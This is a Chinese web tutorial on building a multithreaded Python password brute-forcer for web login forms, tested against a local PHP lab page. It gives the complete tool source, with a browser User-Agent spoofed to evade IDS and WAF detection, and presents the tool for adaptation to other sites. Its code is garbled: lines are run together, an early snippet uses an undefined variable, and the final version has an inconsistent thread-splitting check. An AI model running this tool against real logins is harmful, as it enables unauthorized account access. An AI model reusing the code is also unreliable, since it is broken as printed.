Python开发:简单的密码爆破工具

2024-05-29 20:36

本文主要是介绍Python开发:简单的密码爆破工具,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

当我们进行在线密码破解时,使用 BurpSuite 以及 wfuzz 足以应对大部分网站应用场景。但是在遇到一些特殊情况时我们还是需要自己来开发密码爆破工具,本文将介绍如何使用Python开发一款简单的密码爆破工具。

 

0x01 背景介绍

密码破解

记得有大佬曾经说过:一个系统的突破往往是从弱口令开始,为了拿到弱口令我们就需要了解密码破解技术。密码破解主要分为离线密码破解和在线密码破解。

在平时渗透时我们通常遇到的就是在线密码破解,破解对象包括各类系统服务以及各种网站应用,当我们面对rdp、ftp、ssh等服务,一般情况下可使用 hydra、超级弱口令爆破工具进行破解;而假如面对的是网站应用,最常用到的就是 BurpSuite、wfuzz。

离线破解主要出现在后渗透阶段,在系统中存在各种加密的哈希值,借助 hashcat、john 等破解工具则能够有效地帮助我们完成密码破解,遇到实在无法破解的密文我们还可以放入在线破解网站进行解密。

Python

Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。

0x02 环境搭建

我在 macOS 下使用环境搭建工具为 MAMP,环境语言为 PHP。没有 mac 的同学可在 Windows 下可使用 phpstudy 代替即可。MAMP 默认开放8888端口,访问后出现如下界面说明环境开启成功。

截屏2022-04-09 下午11.19.53

源代码以POST方式传递账号密码,主要用于测试密码爆破,具体代码如下:

<?php
$con = mysqli_connect("localhost:8889","root","root","test");
if (mysqli_connect_errno())
{echo "Fail: ".mysql_connect_error();
}
$username = $_POST['username'];
$password = $_POST['password'];
$submit = $_POST['submit'];
if ($submit == "submit"){$result = mysqli_query($con,"select * from users where `username`='".addslashes($username)."' and `password`='".addslashes($password)."'");
}$row = mysqli_fetch_array($result);
if ($row){exit("login success");
}else{exit("login failed");
}
?>

为了配合密码破解在数据库中创建users表并存入一些账号密码。

截屏2022-04-09 下午11.26.00

使用 Python 进行测试并输入正确的账号密码。

import requestsurl = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "123456", "submit": "submit"}, headers=headers)print(r.text)

成功返回login success说明环境搭建成功。

截屏2022-04-09 下午11.33.50

0x03 工具开发

配置optparse模块

首先我们使用 Python 自带的 OptParse 模块定制程序的参数选项控制,基本用法如下。

1、导入OptionParser类并新建对象OptionParser()
2、添加选项: add_option(…)
3、参数解析: parse_args()

在 add_option() 中可配置如下参数。

dest: 决定解析后取值时的属性名
type: 选项的值类型,默认类型是字符串
help: 选项中的帮助信息
metavar: 显示到 help 中选项的默认值
action: 用于控制对选项和参数的处理,可设置为以下几种字符串:- "store": 储存值到 dest 指定的属性,强制要求后面提供参数- "store_true": 当使用该选项时后面的 dest 将设置为 true, 不跟参数- "store_false": 当使用该选项时后面的 dest 将设置为 false,常配合另一个 "store_true" 的选项使用同一个 dest 时使用,不跟参数- "append": 储存值到 dest 指定的属性并且是以数组的形式, 必须跟参数- "store_const": 用来存储参数为 const 设置的值到 dest 指定的属性当中,常用于 dest 为同名2个以上选项时的处理,不跟参数- "append_const": 用来存储参数为 const 设置的数组到 dest 指定的属性当中,不跟参数- "count": 使用后将给储存值到 dest 指定的属性值加1,可以统计参数中出现次数,不跟参数- "callback": 后面指定回调函数名(不加括号),会将相应opt和args传给回调函数- "help", "version": 对应为帮助和版本,要另外自己设计时使用

有了以上知识的了解,我们可为爆破工具配置对应的参数选项,主要包括请求地址、账号字典、密码字典以及进程。

import optparseparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()

使用-h命令查看输出的帮助信息。

截屏2022-04-10 上午12.34.44

确认payload

密码字典和线程主要用于控制 payload 请求,线程决定并发的 payload 请求数,而密码决定具体的 payload 请求内容。

import math# 输入参数选项
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
# 打开密码字典
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []# 使用临时列表的项数除以线程数确定每一个线程中的项数num = len(temp_list)result = num/threads# 选择floor向下取整result_num = math.floor(result)# 根据项数分配 payloadflag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result_num:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []# 如果存在余数需添加多余项for line in temp_threads_list:pass_list[threads-1].append(line)

 

多线程扫描

多线程扫描需导入 threading、requests 模块,从字典中获取用户以及密码作为请求参数进行扫描,我们可根据返回长度来判断登陆是否成功。

import requests
import threadingdef scan(payload):user = payload["username"]pass_list = payload["pass_list"]# 遍历密码发送请求for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"})# 打印扫描结果print(user + " : " + password + " length=" + str(len(r.text)) + "\n")threads_list = []
# 打开账号字典
with open(user_dict) as f:user_dict = f.readlines()# 确定payloadfor user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))# 启动线程
for thread in threads_list:thread.start()

 

测试与优化

使用以上代码对目标进行测试,查看扫描效果。

python3 web_brute.py -s http://127.0.0.1:8888/python_test/brute/brute_submit.php -u username.txt -p password.txt -t 4

截屏2022-04-10 上午1.27.21

结果虽然能够完成对目标的测试并成功获取不同的返回值,但是一旦账号密码足够多的话我们很难从一堆扫描结果中找到登陆成功的账号密码,因此我们可定义 test 类作为参考,使用一个错误的返回值进行对比并输出最终的扫描结果。

def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "mac", "password": "mac", "submit": "submit"})return len(r.text)def scan(paylaod):...for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"},)if len(r.text) != test():print(user + ":" + password + " login success")

再次进行测试,返回结果只显示登录成功的账号密码以及扫描结果。

截屏2022-04-10 上午1.34.39

但是这其中还存在一个问题:使用 requests 库会在请求头中设置默认的User-agent

截屏2022-04-10 上午1.39.41

为了躲避 IDS、WAF 等防御设备,我们可以定制请求头为正常的浏览器请求。

def scan(payload):...headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)

截屏2022-04-10 上午1.42.17

测试成功,这样一来一个简单的密码爆破工具开发完成,源码如下:

import math
import optparse
import threadingimport requestsparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []num = len(temp_list)result = num/threadsresult_num = math.floor(result)flag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []for line in temp_threads_list:pass_list[threads-1].append(line)def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "admin", "password": "12345", "submit": "submit"})return len(r.text)def scan(payload):user = payload["username"]pass_list = payload["pass_list"]headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)if len(r.text) != test():print(user + ":" + password + " login success")threads_list = []
with open(user_dict) as f:user_dict = f.readlines()for user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))for thread in threads_list:thread.start()

 以后我们可修改其中的参数、变量来应对不同的应用环境。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于Python开发:简单的密码爆破工具的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1014581

相关文章

Python通用唯一标识符模块uuid使用案例详解

《Python通用唯一标识符模块uuid使用案例详解》Pythonuuid模块用于生成128位全局唯一标识符,支持UUID1-5版本,适用于分布式系统、数据库主键等场景,需注意隐私、碰撞概率及存储优... 目录简介核心功能1. UUID版本2. UUID属性3. 命名空间使用场景1. 生成唯一标识符2. 数

Python办公自动化实战之打造智能邮件发送工具

《Python办公自动化实战之打造智能邮件发送工具》在数字化办公场景中,邮件自动化是提升工作效率的关键技能,本文将演示如何使用Python的smtplib和email库构建一个支持图文混排,多附件,多... 目录前言一、基础配置:搭建邮件发送框架1.1 邮箱服务准备1.2 核心库导入1.3 基础发送函数二、

Python包管理工具pip的升级指南

《Python包管理工具pip的升级指南》本文全面探讨Python包管理工具pip的升级策略,从基础升级方法到高级技巧,涵盖不同操作系统环境下的最佳实践,我们将深入分析pip的工作原理,介绍多种升级方... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

基于Python实现一个图片拆分工具

《基于Python实现一个图片拆分工具》这篇文章主要为大家详细介绍了如何基于Python实现一个图片拆分工具,可以根据需要的行数和列数进行拆分,感兴趣的小伙伴可以跟随小编一起学习一下... 简单介绍先自己选择输入的图片,默认是输出到项目文件夹中,可以自己选择其他的文件夹,选择需要拆分的行数和列数,可以通过

Python中反转字符串的常见方法小结

《Python中反转字符串的常见方法小结》在Python中,字符串对象没有内置的反转方法,然而,在实际开发中,我们经常会遇到需要反转字符串的场景,比如处理回文字符串、文本加密等,因此,掌握如何在Pyt... 目录python中反转字符串的方法技术背景实现步骤1. 使用切片2. 使用 reversed() 函

Python中将嵌套列表扁平化的多种实现方法

《Python中将嵌套列表扁平化的多种实现方法》在Python编程中,我们常常会遇到需要将嵌套列表(即列表中包含列表)转换为一个一维的扁平列表的需求,本文将给大家介绍了多种实现这一目标的方法,需要的朋... 目录python中将嵌套列表扁平化的方法技术背景实现步骤1. 使用嵌套列表推导式2. 使用itert

使用Docker构建Python Flask程序的详细教程

《使用Docker构建PythonFlask程序的详细教程》在当今的软件开发领域,容器化技术正变得越来越流行,而Docker无疑是其中的佼佼者,本文我们就来聊聊如何使用Docker构建一个简单的Py... 目录引言一、准备工作二、创建 Flask 应用程序三、创建 dockerfile四、构建 Docker

Python使用vllm处理多模态数据的预处理技巧

《Python使用vllm处理多模态数据的预处理技巧》本文深入探讨了在Python环境下使用vLLM处理多模态数据的预处理技巧,我们将从基础概念出发,详细讲解文本、图像、音频等多模态数据的预处理方法,... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

Python使用pip工具实现包自动更新的多种方法

《Python使用pip工具实现包自动更新的多种方法》本文深入探讨了使用Python的pip工具实现包自动更新的各种方法和技术,我们将从基础概念开始,逐步介绍手动更新方法、自动化脚本编写、结合CI/C... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

Conda与Python venv虚拟环境的区别与使用方法详解

《Conda与Pythonvenv虚拟环境的区别与使用方法详解》随着Python社区的成长,虚拟环境的概念和技术也在不断发展,:本文主要介绍Conda与Pythonvenv虚拟环境的区别与使用... 目录前言一、Conda 与 python venv 的核心区别1. Conda 的特点2. Python v